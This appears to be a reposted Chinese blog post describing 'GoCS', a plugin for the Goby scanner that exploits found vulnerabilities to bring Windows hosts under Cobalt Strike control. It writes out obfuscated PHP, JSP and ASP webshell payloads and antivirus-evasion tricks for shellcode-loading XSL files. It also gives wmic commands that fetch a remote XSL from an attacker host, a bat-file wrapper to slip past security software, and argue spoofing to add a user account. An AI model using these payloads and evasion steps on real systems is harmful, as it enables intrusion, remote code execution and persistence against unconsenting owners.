简单免杀绕过和利用上线的 GoCS
前言: Goby 可以快速準確的掃描資產,并直觀呈現出來。同時經過上次 EXP 計劃過后,PoC&EXP 也增加了許多。在實戰化漏洞掃描后,對于高危漏洞的利用,不僅僅只在 whoami 上,而是要進入后滲透階段,那么對于 Windows 機器而言,上線 CS 是必不可少的操作,會讓后滲透如魚得水。此插件只運用了簡單的利用方式上線 CS,希望師傅們能夠提供想法和建議把它更為完善,源碼中有詳細的注釋,可供師傅們快速理解。
0×01 插件使用
1.1 插件效果
1.2 使用方法
1.在工具欄導入 CS 的 32 位 RAW 的 payload 文件 (attacks – > packages – > payload generator – > output:raw 后綴為 bin),將免殺后的文件放入 VPS 中。
2.在 Goby 插件配置中設置 VPS 免殺文件地址,在實際使用中也可以進行實時的更改。
3.在漏洞利用詳情頁中點擊 GoCS
4.選擇一個利用方式和文件形式,根據實際情況更改 payload 進行繞過攔截
點擊 GO 即可發包利用
注:現無法只在目標為 Windows 的機器才顯示該插件,還需要用戶自己判斷一下。
0×02 插件開發
2.1 主體框架
├── .gitignore // 忽略構建輸出和node_modules文件 ├── README.md // 插件介紹文檔 ├── CHANGELOG.md // 插件更新日志文檔 ├── src │ └── CS.png //CS的圖片 │ └── assets //layui │ └── extension.js // 插件源代碼 │ └── Gopass.html //工具欄制作免殺xsl文件 │ └── GoCS.html //漏洞利用頁面進行發包利用上線CS ├── package.json // 插件配置清單 ├── node_modules //引入模塊2.2 它們的爺爺 package.json
該插件由工具欄的 GoPass.html 和漏洞利用的 index.html 進行大部分工作,所以我先簡單介紹它們的爺爺 package.json
2.3 它們的爸爸 extension.js
具體注釋在源代碼中,在 Goby 中下載 GoCS 后可在根目錄下 \extensions 中找到,這只分析重點。
這個頁面是父頁面(我的理解)在引入模塊時直接引用 let fs = require(‘fs’);或者加 parent 也可以。
點擊 Command 為 GoPass 后進行的操作來跳出 GoPass.html:
//在工具欄的圖標點擊過后入口 goby.registerCommand('GoPass',function(content){//獲取子頁面路徑let path = __dirname + "/GoPass.html"//打開子頁面并配置長寬goby.showIframeDia(path, "GoPass", "666", "500");}) //在工具欄的圖標點擊過后結束進行發包和利用 EXP 的代碼:
//此段代碼是摘取Go0p師傅的Goby_exp插件源碼//創建Gexp類進行發包獲取漏洞詳情和利用漏洞class Gexp {//引入包和模塊constructor() {this.fs = require('fs')this.request = require('request')this.path = require('path')}//初始化函數之類的吧init() {this.host = this.data.server_host;this.port = this.data.server_port;this.username = this.data.authUsername;this.password = this.data.authPassword;}//獲取配置主要用于獲取username和password還有代理端口getServerInfo() {//對目錄下得配置文件進行讀取返回let config_info = this.path.join(__dirname, '../../../config/config.json');//讀取文件操作this.data = JSON.parse(this.fs.readFileSync(config_info, 'utf-8'));//返回應該是json類型可以后面直接用return this.data;}//點擊按鈕時獲取你點擊的漏洞詳情getPOCInfo(vulname, proxystr) {this.init();//進行發包操作獲取Goby本地的返回包,其中有漏洞詳情,json類型進行后面處理return new Promise((resolve, reject) => {//發包配置一系列的參數this.request({url: `http://${this.host}:${this.port}/api/v1/getPOCInfo`,method: 'POST',auth: {'user': this.username,'pass': this.password,},proxy: proxystr,json: { "vulname": vulname}}, function (error, response, body) {//成功過后會進行返回漏洞詳情if (!error && response.statusCode == 200) {//成功狀態獲取返回值resolve(body);} else {//失敗狀態返回錯誤詳情reject(error)}});})}//發包利用漏洞,主要用來更改exp的參數debugExp(post_data, proxystr) {this.init();//進行發包操作和本地Goby進行交互,利用更改exp的值進行利用return new Promise((resolve, reject) => {//發包構造一系列參數this.request({url: `http://${this.host}:${this.port}/api/v1/debugExp`,method: 'POST',auth: {'user': this.username,'pass': this.password,},proxy: proxystr,json: post_data}, function (error, response, body) {if (!error && response.statusCode == 200) {//輸出返回的內容// console.log(body);resolve(body);} else {reject(error)}});})}} //構造Gexp類結束2.4 它們自己
2.4.1 GoPass.html 用來生成免殺 xsl 文件
這個文件主要就是將 bin 文件進行 base64 加密后和 xsl 文件進行拼接,生成一個 GoPass.xsl 文件,供后面進行遠程加載。
Xsl 文件的是使用 cactusTorch 作為加載器加載 shellcode,再運用 wmic 進行遠程不落地執行 shellcode。由于無文件落地的木馬可以附加到任何進程里面執行,而且傳統安全軟件是基于文件檢測的,對目前無文件落地木馬檢查效果差,所以該插件采用了此形式進行上線 CS。
而原版本的 xsl 文件生成后就會被殺軟報毒,那么加入 <!——> 注釋符號進行簡單免殺繞過,此處只繞過基本的殺軟。
同時在重要函數名上也如此。
此處只討論靜態免殺,在 vt 上效果如下。
效果是不夠的好,加入 <!——> 如同 P 圖,P 得越多,越… 根據上面的繞過舉一反三過后的免殺如下。
這幾個感覺是執行了文件,只把一個字母大寫,代碼不能執行了它們就不報毒了,所以后期還需要加強免殺。
2.4.2 index.html 用來生成漏洞利用上線 CS
這個文件主要用來,調用 extension.js 文件中的 Gexp 類,獲取 PoC 的參數進行更改后調用 EXP 進行發包利用,其中利用方式有 RCE 和 upload 兩種,文件形式有 php,asp,jsp三種(以后會加入 aspx),源碼中有具體的注釋。
此處因為是子頁面使用引入模塊時必須加入 parent
let fs = parent.require('fs'); let goby = parent.goby;同時如果你使用 exec 函數調用 cmd 也是 Goby.exe 進行調用的,生成文件會在 Goby 的根目錄下面,不指定目錄寫文件也是一樣。
初次寫 js 的師傅注意,下拉框因為是 div 修飾過的,不能再使用原生的事件進行監聽,要使用 layui 的語法進行 select 監聽事件。
//select監聽事件開始 //layui的監聽事件和原生select不一樣layui.use(['form'], function () {var form = layui.form;//下拉框改變事件開始//layui的調用寫法,因為select采用的是layui的樣式使用要用它的寫法不能用原生的//id為vlul的下拉框的值改變后觸發form.on('select(vlul)', function (data) {//調用函數主要用來更新textarea中的內容changeE();});//id為txt的下拉框的值改變后觸發form.on('select(txt)', function (data) {//調用函數主要用來更新textarea中的內容changeE();});//下拉框改變事件結束}); //select監聽事件結束以 php 為例,漏洞利用 upload 是上傳寫入 php 代碼執行 cmd 調用 wmic 遠程加載運行 shellcode,RCE 是默認可以執行系統 dos 命令的情況下,調用 wmic 進行遠程加載運行 shellcode (如果是代碼執行漏洞還需要自己添加 system() 之類的調用 cmd 的函數)
最開始的 xsl 文件有了簡單的免殺后,能不能成功上線還得看最后一步 wmic 的命令,正常 wmic 命令是 wmic os get /format:”http://yourIP/a.xsl“
不用想,這肯定會被某全家桶攔截,所以我們必須繞過攔截,那么使用用到爛的 echo 加管道符 | 來試試
echo os get /format:”http://yourIP/a.xsl”|wmic
本地 cmd 執行不會被攔,但是 Upload 利用時候,寫入頁面后,再加載頁面時候會被攔,這意外么?毫不意外。但是這里有趣的是,其實這里繞過了但是沒有完全繞過,根據高級的食材往往只需簡單烹飪這一道理,所以我決定簡單烹飪,將它寫入 bat 文件中本地執行,最后發現某全家桶毫無攔截。所以頁面中不調用 wmic,而是把它寫入 bat,本地去執行 wmic 這樣就不會被攔截。
所以最后命令為 echo ^echo os get /format:”http://yourIP/a.xsl”^|wmic>>1.bat&&1.bat
最后來看看在某斯基,某全家桶,某管家,某絨的監督下,不落地執行 shellcode 會是什么樣子。
看著 6 秒沒有反應,還以為是被 某斯基 殺了,結果發現沒有。上線后如果執行敏感操作,如創建用戶,可以考慮用 argue 參數污染。
參數污染 net
argue net xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx查看污染的參數
argue用污染的 net 執行敏感操作
execute net user test2 root123 /add全程某全家桶是沒有進行攔截的
原理簡單來講也如同 P 圖,原本執行 net,但是污染后 command 卻是 net xxxxxxxxxx,達到繞過。
你在使用中肯定會遇到一些小問題,比如,wmic 加載了一個沒有開放的端口就會出現
那么最好的解決辦法就是不去解決,等待一分鐘過后就可以了,它們都會自己退出。這告訴了我們一件事情,一定記得去防火墻設置里面開放端口。
講完了 cmd 命令的繞過那么就開始 upload 中 Webshell 的繞過。
Php 是參考冰蝎的回調函數進行利用的 php 語句。
let phpshell = "<?php @call_user_func(base64_decode(\"c3lzdGVta\"),\"" + wmicCMDshell + "\");"Jsp 基礎免殺是參考的 @yzddMr6 師傅的 https://yzddmr6.tk/posts/webshell-bypass-jsp/ 文章
let jspshell = "<%@ page contentType=\"text/html;charset=UTF-8\" import=\"javax.xml.bind.DatatypeConverter\" language=\"java\" %><%Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary(\"6a6176612e6c616e672e52756e74696d65\")));Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"65786563\")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary(\"67657452756e74696d65\"))).invoke(null), \"" + wmicCMDshell + "\");%> ";Asp 是簡單利用的 chr 字符加大寫,不能免殺,希望會 asp 的師傅能夠指導一下。
let aspshell = "<%response.write server.createobject(\"wscript.sh\"&Chr(69)&\"ll\").ExEc(\"" + wmicAsp +"\").stdout.readall%>"0×03 總結
第一次編寫插件和編寫 js 文件,無疑是一次面向百度的編程,總體還是不錯,學到了很多。遺憾的是 asp 并沒有免殺,還希望會 asp 的師傅指導一下。這個版本很基礎,很簡單進行利用,所以只能在簡單環境下利用,希望后面能加入更多的元素,讓這個插件適應更多復雜環境。
有需要相關的學習資料可以關注私信我哦!!!
總結
以上是生活随笔為你收集整理的简单免杀绕过和利用上线的 GoCS的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Golang 的字符编码与 regexp
- 下一篇: 【安全漏洞】gomarkdown/mar